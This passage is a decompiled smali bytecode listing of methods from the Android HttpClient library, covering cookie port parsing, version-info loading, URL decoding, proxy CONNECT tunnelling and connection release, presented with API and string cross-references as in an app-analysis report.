        36invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        38invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        39move-result-object v2
        41invoke-virtual {v1, v2}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->info(Ljava/lang/Object;)V
        42cond_32: if-eqz v0, :cond_35
        43return-object v0
        44cond_35: new-instance v0, Ljava/net/UnknownHostException;
        45new-instance v1, Ljava/lang/StringBuilder;
        47invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        49invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        51const-string p1, " cannot be resolved"
        53invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        55invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        56move-result-object p1
        58invoke-direct {v0, p1}, Ljava/net/UnknownHostException;-><init>(Ljava/lang/String;)V
        59throw v0
        Cross References
        APIs
        • java.util.StringTokenizer.<init>
        • java.util.StringTokenizer.countTokens
        • java.util.StringTokenizer.hasMoreTokens
        • java.util.StringTokenizer.nextToken
        • java.lang.String.trim
        • java.lang.Integer.parseInt
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.NumberFormatException.getMessage
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.cookie.MalformedCookieException.<init>
        Strings
        • ,
        • Invalid Port attribute.
        • Invalid Port attribute:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        3}
        4.end annotation
        5new-instance v0, Ljava/util/StringTokenizer;
        7const-string v1, ","
        9invoke-direct {v0, p0, v1}, Ljava/util/StringTokenizer;-><init>(Ljava/lang/String;Ljava/lang/String;)V
        11invoke-virtual {v0}, Ljava/util/StringTokenizer;->countTokens()I
        12move-result p0
        13new-array p0, p0, [I
        14const/4 v1, 0x0
        15goto_e:
        16invoke-virtual {v0}, Ljava/util/StringTokenizer;->hasMoreTokens()Z
        17move-result v2
        18if-eqz v2, :cond_31
        20invoke-virtual {v0}, Ljava/util/StringTokenizer;->nextToken()Ljava/lang/String;
        21move-result-object v2
        23invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
        24move-result-object v2
        26invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
        27move-result v2
        28aput v2, p0, v1
        29aget v2, p0, v1
        30if-ltz v2, :cond_29
        31add-int/lit8 v1, v1, 0x1
        32goto/16 :goto_e
        33cond_29: new-instance p0, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        35const-string v0, "Invalid Port attribute."
        37invoke-direct {p0, v0}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        38throw p0
        39cond_31: return-object p0
        40catch_32: move-exception p0
        41new-instance v0, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;
        42new-instance v1, Ljava/lang/StringBuilder;
        44invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        46const-string v2, "Invalid Port attribute: "
        48invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        50invoke-virtual {p0}, Ljava/lang/NumberFormatException;->getMessage()Ljava/lang/String;
        51move-result-object p0
        53invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        55invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        56move-result-object p0
        58invoke-direct {v0, p0}, Lcz/msebera/android/httpclient/cookie/MalformedCookieException;-><init>(Ljava/lang/String;)V
        59throw v0
        Cross References
        APIs
        • java.lang.Thread.currentThread
        • java.lang.Thread.getContextClassLoader
        • java.lang.StringBuilder.<init>
        • java.lang.String.replace
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.ClassLoader.getResourceAsStream
        • java.util.Properties.<init>
        • java.util.Properties.load
        • java.io.InputStream.close
        Strings
        • Package identifier
        • /
        • version.properties
        Position Instruction Meta Information
        1const-string v0, "Package identifier"
        3invoke-static {p0, v0}, Lcz/msebera/android/httpclient/util/Args;->notNull(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/Object;
        4if-eqz p1, :cond_8
        5goto/16 :goto_10
        6cond_8:
        7invoke-static {}, Ljava/lang/Thread;->currentThread()Ljava/lang/Thread;
        8move-result-object p1
        10invoke-virtual {p1}, Ljava/lang/Thread;->getContextClassLoader()Ljava/lang/ClassLoader;
        11move-result-object p1
        12goto_10: const/4 v0, 0x0
        13try_start_11: new-instance v1, Ljava/lang/StringBuilder;
        15invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        16const/16 v2, 0x2e
        17const/16 v3, 0x2f
        19invoke-virtual {p0, v2, v3}, Ljava/lang/String;->replace(CC)Ljava/lang/String;
        20move-result-object v2
        22invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        24const-string v2, "/"
        26invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        28const-string v2, "version.properties"
        30invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        32invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        33move-result-object v1
        35invoke-virtual {p1, v1}, Ljava/lang/ClassLoader;->getResourceAsStream(Ljava/lang/String;)Ljava/io/InputStream;
        36move-result-object v1
        37try_end_33: if-eqz v1, :cond_46
        38try_start_35: new-instance v2, Ljava/util/Properties;
        40invoke-direct {v2}, Ljava/util/Properties;-><init>()V
        42invoke-virtual {v2, v1}, Ljava/util/Properties;->load(Ljava/io/InputStream;)V
        43try_start_3d:
        44invoke-virtual {v1}, Ljava/io/InputStream;->close()V
        45try_end_40: goto/16 :goto_47
        46catchall_41: move-exception v2
        47try_start_42:
        48invoke-virtual {v1}, Ljava/io/InputStream;->close()V
        49throw v2
        50try_end_46: move-object v2, v0
        51goto_47: if-eqz v2, :cond_4d
        53invoke-static {p0, v2, p1}, Lcz/msebera/android/httpclient/util/VersionInfo;->fromMap(Ljava/lang/String;Ljava/util/Map;Ljava/lang/ClassLoader;)Lcz/msebera/android/httpclient/util/VersionInfo;
        54move-result-object v0
        55cond_4d: return-object v0
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        Strings
        • [leased:
        • ; pending:
        • ; available:
        • ; max:
        • ]
        Position Instruction Meta Information
        0new-instance v0, Ljava/lang/StringBuilder;
        2invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
        4const-string v1, "[leased: "
        6invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        7iget v1, p0, Lcz/msebera/android/httpclient/pool/PoolStats;->leased:I
        9invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        11const-string v1, "; pending: "
        13invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        14iget v1, p0, Lcz/msebera/android/httpclient/pool/PoolStats;->pending:I
        16invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        18const-string v1, "; available: "
        20invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        21iget v1, p0, Lcz/msebera/android/httpclient/pool/PoolStats;->available:I
        23invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        25const-string v1, "; max: "
        27invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        28iget v1, p0, Lcz/msebera/android/httpclient/pool/PoolStats;->max:I
        30invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
        32const-string v1, "]"
        34invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        36invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        37move-result-object v0
        38return-object v0
        Cross References
        APIs
        • java.lang.String.length
        • java.nio.ByteBuffer.allocate
        • java.nio.CharBuffer.wrap
        • java.nio.CharBuffer.hasRemaining
        • java.nio.CharBuffer.get
        • java.nio.CharBuffer.remaining
        • java.nio.CharBuffer.get
        • java.lang.Character.digit
        • java.nio.ByteBuffer.put
        • java.nio.ByteBuffer.flip
        • java.nio.charset.Charset.decode
        • java.nio.CharBuffer.toString
        Position Instruction Meta Information
        0if-nez p0, :cond_4
        1const/4 p0, 0x0
        2return-object p0
        3cond_4:
        4invoke-virtual {p0}, Ljava/lang/String;->length()I
        5move-result v0
        7invoke-static {v0}, Ljava/nio/ByteBuffer;->allocate(I)Ljava/nio/ByteBuffer;
        8move-result-object v0
        10invoke-static {p0}, Ljava/nio/CharBuffer;->wrap(Ljava/lang/CharSequence;)Ljava/nio/CharBuffer;
        11move-result-object p0
        12goto_10:
        13invoke-virtual {p0}, Ljava/nio/CharBuffer;->hasRemaining()Z
        14move-result v1
        15if-eqz v1, :cond_61
        17invoke-virtual {p0}, Ljava/nio/CharBuffer;->get()C
        18move-result v1
        19const/16 v2, 0x25
        20if-ne v1, v2, :cond_50
        22invoke-virtual {p0}, Ljava/nio/CharBuffer;->remaining()I
        23move-result v3
        24const/4 v4, 0x2
        25if-lt v3, v4, :cond_50
        27invoke-virtual {p0}, Ljava/nio/CharBuffer;->get()C
        28move-result v1
        30invoke-virtual {p0}, Ljava/nio/CharBuffer;->get()C
        31move-result v3
        32const/16 v4, 0x10
        34invoke-static {v1, v4}, Ljava/lang/Character;->digit(CI)I
        35move-result v5
        37invoke-static {v3, v4}, Ljava/lang/Character;->digit(CI)I
        38move-result v4
        39const/4 v6, -0x1
        40if-eq v5, v6, :cond_44
        41if-eq v4, v6, :cond_44
        42shl-int/lit8 v1, v5, 0x4
        43add-int/2addr v1, v4
        44int-to-byte v1, v1
        46invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
        47goto/16 :goto_10
        48cond_44:
        49invoke-virtual {v0, v2}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
        50int-to-byte v1, v1
        52invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
        53int-to-byte v1, v3
        55invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
        56goto/16 :goto_10
        57cond_50: if-eqz p2, :cond_5c
        58const/16 v2, 0x2b
        59if-ne v1, v2, :cond_5c
        60const/16 v1, 0x20
        62invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
        63goto/16 :goto_10
        64cond_5c: int-to-byte v1, v1
        66invoke-virtual {v0, v1}, Ljava/nio/ByteBuffer;->put(B)Ljava/nio/ByteBuffer;
        67goto/16 :goto_10
        68cond_61:
        69invoke-virtual {v0}, Ljava/nio/ByteBuffer;->flip()Ljava/nio/Buffer;
        71invoke-virtual {p1, v0}, Ljava/nio/charset/Charset;->decode(Ljava/nio/ByteBuffer;)Ljava/nio/CharBuffer;
        72move-result-object p0
        74invoke-virtual {p0}, Ljava/nio/CharBuffer;->toString()Ljava/lang/String;
        75move-result-object p0
        76return-object p0
        Cross References
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.HttpException.<init>
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • cz.msebera.android.httpclient.impl.execchain.TunnelRefusedException.<init>
        Strings
        • CONNECT
        • Proxy-Authorization
        • Connection kept alive
        • Unexpected response to CONNECT request:
        • CONNECT refused by proxy:
        Position Instruction Meta Information
        0.annotation system Ldalvik/annotation/Throws;
        1value = {
        2Lcz/msebera/android/httpclient/HttpException;,
        3Ljava/io/IOException;
        4}
        5.end annotation
        6move-object/from16 v0, p0
        7move-object/from16 v1, p2
        8move-object/from16 v8, p5
        10invoke-virtual/range {p5 .. p5}, Lcz/msebera/android/httpclient/client/protocol/HttpClientContext;->getRequestConfig()Lcz/msebera/android/httpclient/client/config/RequestConfig;
        11move-result-object v9
        13invoke-virtual {v9}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->getConnectTimeout()I
        14move-result v10
        16invoke-virtual/range {p3 .. p3}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getTargetHost()Lcz/msebera/android/httpclient/HttpHost;
        17move-result-object v2
        19invoke-virtual/range {p3 .. p3}, Lcz/msebera/android/httpclient/conn/routing/HttpRoute;->getProxyHost()Lcz/msebera/android/httpclient/HttpHost;
        20move-result-object v11
        22invoke-virtual {v2}, Lcz/msebera/android/httpclient/HttpHost;->toHostString()Ljava/lang/String;
        23move-result-object v2
        24new-instance v12, Lcz/msebera/android/httpclient/message/BasicHttpRequest;
        26const-string v3, "CONNECT"
        28invoke-interface/range {p4 .. p4}, Lcz/msebera/android/httpclient/HttpRequest;->getProtocolVersion()Lcz/msebera/android/httpclient/ProtocolVersion;
        29move-result-object v4
        31invoke-direct {v12, v3, v2, v4}, Lcz/msebera/android/httpclient/message/BasicHttpRequest;-><init>(Ljava/lang/String;Ljava/lang/String;Lcz/msebera/android/httpclient/ProtocolVersion;)V
        33iget-object v2, v0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->requestExecutor:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        35iget-object v3, v0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->proxyHttpProcessor:Lcz/msebera/android/httpclient/protocol/HttpProcessor;
        37invoke-virtual {v2, v12, v3, v8}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->preProcess(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/protocol/HttpProcessor;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        38const/4 v13, 0x0
        39goto_2d: move-object v2, v13
        40goto_2e: const/4 v3, 0x0
        41if-nez v2, :cond_ce
        43invoke-interface/range {p2 .. p2}, Lcz/msebera/android/httpclient/HttpClientConnection;->isOpen()Z
        44move-result v2
        45if-nez v2, :cond_45
        47iget-object v2, v0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->connManager:Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;
        48if-lez v10, :cond_3f
        49move-object/from16 v14, p3
        50move v3, v10
        51goto/16 :goto_41
        52cond_3f: move-object/from16 v14, p3
        53goto_41:
        54invoke-interface {v2, v1, v14, v3, v8}, Lcz/msebera/android/httpclient/conn/HttpClientConnectionManager;->connect(Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/conn/routing/HttpRoute;ILcz/msebera/android/httpclient/protocol/HttpContext;)V
        55goto/16 :goto_47
        56cond_45: move-object/from16 v14, p3
        57goto_47:
        58const-string v2, "Proxy-Authorization"
        60invoke-interface {v12, v2}, Lcz/msebera/android/httpclient/HttpRequest;->removeHeaders(Ljava/lang/String;)V
        62iget-object v2, v0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->authenticator:Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;
        63move-object/from16 v15, p1
        65invoke-virtual {v2, v12, v15, v8}, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->generateAuthResponse(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)V
        67iget-object v2, v0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->requestExecutor:Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;
        69invoke-virtual {v2, v12, v1, v8}, Lcz/msebera/android/httpclient/protocol/HttpRequestExecutor;->execute(Lcz/msebera/android/httpclient/HttpRequest;Lcz/msebera/android/httpclient/HttpClientConnection;Lcz/msebera/android/httpclient/protocol/HttpContext;)Lcz/msebera/android/httpclient/HttpResponse;
        70move-result-object v7
        72invoke-interface {v7}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        73move-result-object v2
        75invoke-interface {v2}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        76move-result v2
        77const/16 v3, 0xc8
        78if-lt v2, v3, :cond_b2
        80invoke-virtual {v9}, Lcz/msebera/android/httpclient/client/config/RequestConfig;->isAuthenticationEnabled()Z
        81move-result v2
        82if-eqz v2, :cond_ae
        84iget-object v2, v0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->authenticator:Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;
        86iget-object v5, v0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->proxyAuthStrategy:Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        87move-object v3, v11
        88move-object v4, v7
        89move-object/from16 v6, p1
        90move-object/from16 v16, v7
        91move-object/from16 v7, p5
        93invoke-virtual/range {v2 .. v7}, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->isAuthenticationRequested(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        94move-result v2
        95if-eqz v2, :cond_ab
        97iget-object v2, v0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->authenticator:Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;
        99iget-object v5, v0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->proxyAuthStrategy:Lcz/msebera/android/httpclient/client/AuthenticationStrategy;
        100move-object v3, v11
        101move-object/from16 v4, v16
        102move-object/from16 v6, p1
        103move-object/from16 v7, p5
        105invoke-virtual/range {v2 .. v7}, Lcz/msebera/android/httpclient/impl/auth/HttpAuthenticator;->handleAuthChallenge(Lcz/msebera/android/httpclient/HttpHost;Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/client/AuthenticationStrategy;Lcz/msebera/android/httpclient/auth/AuthState;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        106move-result v2
        107if-eqz v2, :cond_ab
        109iget-object v2, v0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->reuseStrategy:Lcz/msebera/android/httpclient/ConnectionReuseStrategy;
        110move-object/from16 v3, v16
        112invoke-interface {v2, v3, v8}, Lcz/msebera/android/httpclient/ConnectionReuseStrategy;->keepAlive(Lcz/msebera/android/httpclient/HttpResponse;Lcz/msebera/android/httpclient/protocol/HttpContext;)Z
        113move-result v2
        114if-eqz v2, :cond_a7
        116iget-object v2, v0, Lcz/msebera/android/httpclient/impl/execchain/MainClientExec;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        118const-string v4, "Connection kept alive"
        120invoke-virtual {v2, v4}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        122invoke-interface {v3}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        123move-result-object v2
        125invoke-static {v2}, Lcz/msebera/android/httpclient/util/EntityUtils;->consume(Lcz/msebera/android/httpclient/HttpEntity;)V
        126goto/16 :goto_2d
        127cond_a7:
        128invoke-interface/range {p2 .. p2}, Lcz/msebera/android/httpclient/HttpClientConnection;->close()V
        129goto/16 :goto_2d
        130cond_ab: move-object/from16 v3, v16
        131goto/16 :goto_af
        132cond_ae: move-object v3, v7
        133goto_af: move-object v2, v3
        134goto/16 :goto_2e
        135cond_b2: move-object v3, v7
        136new-instance v1, Lcz/msebera/android/httpclient/HttpException;
        137new-instance v2, Ljava/lang/StringBuilder;
        139invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
        141const-string v4, "Unexpected response to CONNECT request: "
        143invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        145invoke-interface {v3}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        146move-result-object v3
        148invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        150invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        151move-result-object v2
        153invoke-direct {v1, v2}, Lcz/msebera/android/httpclient/HttpException;-><init>(Ljava/lang/String;)V
        154throw v1
        155cond_ce:
        156invoke-interface {v2}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        157move-result-object v4
        159invoke-interface {v4}, Lcz/msebera/android/httpclient/StatusLine;->getStatusCode()I
        160move-result v4
        161const/16 v5, 0x12b
        162if-le v4, v5, :cond_106
        164invoke-interface {v2}, Lcz/msebera/android/httpclient/HttpResponse;->getEntity()Lcz/msebera/android/httpclient/HttpEntity;
        165move-result-object v3
        166if-eqz v3, :cond_e8
        167new-instance v4, Lcz/msebera/android/httpclient/entity/BufferedHttpEntity;
        169invoke-direct {v4, v3}, Lcz/msebera/android/httpclient/entity/BufferedHttpEntity;-><init>(Lcz/msebera/android/httpclient/HttpEntity;)V
        171invoke-interface {v2, v4}, Lcz/msebera/android/httpclient/HttpResponse;->setEntity(Lcz/msebera/android/httpclient/HttpEntity;)V
        172cond_e8:
        173invoke-interface/range {p2 .. p2}, Lcz/msebera/android/httpclient/HttpClientConnection;->close()V
        174new-instance v1, Lcz/msebera/android/httpclient/impl/execchain/TunnelRefusedException;
        175new-instance v3, Ljava/lang/StringBuilder;
        177invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
        179const-string v4, "CONNECT refused by proxy: "
        181invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        183invoke-interface {v2}, Lcz/msebera/android/httpclient/HttpResponse;->getStatusLine()Lcz/msebera/android/httpclient/StatusLine;
        184move-result-object v4
        186invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        188invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        189move-result-object v3
        191invoke-direct {v1, v3, v2}, Lcz/msebera/android/httpclient/impl/execchain/TunnelRefusedException;-><init>(Ljava/lang/String;Lcz/msebera/android/httpclient/HttpResponse;)V
        192throw v1
        193cond_106: return v3
        APIs
        • java.lang.StringBuilder.<init>
        • java.lang.StringBuilder.append
        • java.lang.StringBuilder.toString
        • java.lang.System.currentTimeMillis
        • java.util.concurrent.TimeUnit.toMillis
        • java.lang.System.currentTimeMillis
        • java.util.concurrent.TimeUnit.toMillis
        • java.lang.System.currentTimeMillis
        • java.util.concurrent.TimeUnit.toMillis
        Strings
        • Connection class mismatch, connection not obtained from this manager
        • Releasing connection
        • Connection not obtained from this manager
        • Released connection open but not reusable.
        • Exception shutting down released connection.
        Position Instruction Meta Information
        0instance-of v0, p1, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager$ConnAdapter;
        2const-string v1, "Connection class mismatch, connection not obtained from this manager"
        4invoke-static {v0, v1}, Lcz/msebera/android/httpclient/util/Args;->check(ZLjava/lang/String;)V
        6invoke-virtual {p0}, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->assertStillUp()V
        8iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        10invoke-virtual {v0}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        11move-result v0
        12if-eqz v0, :cond_28
        14iget-object v0, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        15new-instance v1, Ljava/lang/StringBuilder;
        17invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
        19const-string v2, "Releasing connection "
        21invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
        23invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
        25invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
        26move-result-object v1
        28invoke-virtual {v0, v1}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        29cond_28: check-cast p1, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager$ConnAdapter;
        30monitor-enter p1
        31try_start_2b:
        32iget-object v0, p1, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager$ConnAdapter;->poolEntry:Lcz/msebera/android/httpclient/impl/conn/AbstractPoolEntry;
        33if-nez v0, :cond_31
        34monitor-exit p1
        35return-void
        36cond_31:
        37invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager$ConnAdapter;->getManager()Lcz/msebera/android/httpclient/conn/ClientConnectionManager;
        38move-result-object v0
        39if-ne v0, p0, :cond_39
        40const/4 v0, 0x1
        41goto/16 :goto_3a
        42cond_39: const/4 v0, 0x0
        43goto_3a:
        44const-string v1, "Connection not obtained from this manager"
        46invoke-static {v0, v1}, Lcz/msebera/android/httpclient/util/Asserts;->check(ZLjava/lang/String;)V
        47try_end_3f: const-wide v0, 0x7fffffffffffffffL
        48const-wide/16 v2, 0x0
        49const/4 v4, 0x0
        50try_start_47:
        51invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager$ConnAdapter;->isOpen()Z
        52move-result v5
        53if-eqz v5, :cond_69
        54iget-boolean v5, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->alwaysShutDown:Z
        55if-nez v5, :cond_57
        57invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager$ConnAdapter;->isMarkedReusable()Z
        58move-result v5
        59if-nez v5, :cond_69
        60cond_57:
        61iget-object v5, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        63invoke-virtual {v5}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        64move-result v5
        65if-eqz v5, :cond_66
        67iget-object v5, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        69const-string v6, "Released connection open but not reusable."
        71invoke-virtual {v5, v6}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;)V
        72cond_66:
        73invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager$ConnAdapter;->shutdown()V
        74cond_69:
        75invoke-virtual {p1}, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager$ConnAdapter;->detach()V
        76monitor-enter p0
        77try_end_6d: iput-object v4, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->managedConn:Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager$ConnAdapter;
        79invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
        80move-result-wide v4
        81iput-wide v4, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->lastReleaseTime:J
        82cmp-long v4, p2, v2
        83if-lez v4, :cond_84
        85invoke-virtual {p4, p2, p3}, Ljava/util/concurrent/TimeUnit;->toMillis(J)J
        86move-result-wide p2
        87iget-wide v0, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->lastReleaseTime:J
        88const/4 p4, 0x0
        89add-long/2addr p2, v0
        90iput-wide p2, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->connectionExpiresTime:J
        91goto/16 :goto_86
        92cond_84: iput-wide v0, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->connectionExpiresTime:J
        93goto_86: monitor-exit p0
        94goto/16 :goto_bb
        95catchall_88: move-exception p2
        96monitor-exit p0
        97try_start_8a: throw p2
        98try_end_8b: move-exception v5
        99goto/16 :goto_c0
        100catch_8d: move-exception v5
        101try_start_8e:
        102iget-object v6, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        104invoke-virtual {v6}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->isDebugEnabled()Z
        105move-result v6
        106if-eqz v6, :cond_9d
        108iget-object v6, p0, Lcz/msebera/android/httpclient/impl/conn/SingleClientConnManager;->log:Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;
        110const-string v7, "Exception shutting down released connection."
        112invoke-virtual {v6, v7, v5}, Lcz/msebera/android/httpclient/extras/HttpClientAndroidLog;->debug(Ljava/lang/Object;Ljava/lang/Throwable;)V
        113cond_9d:
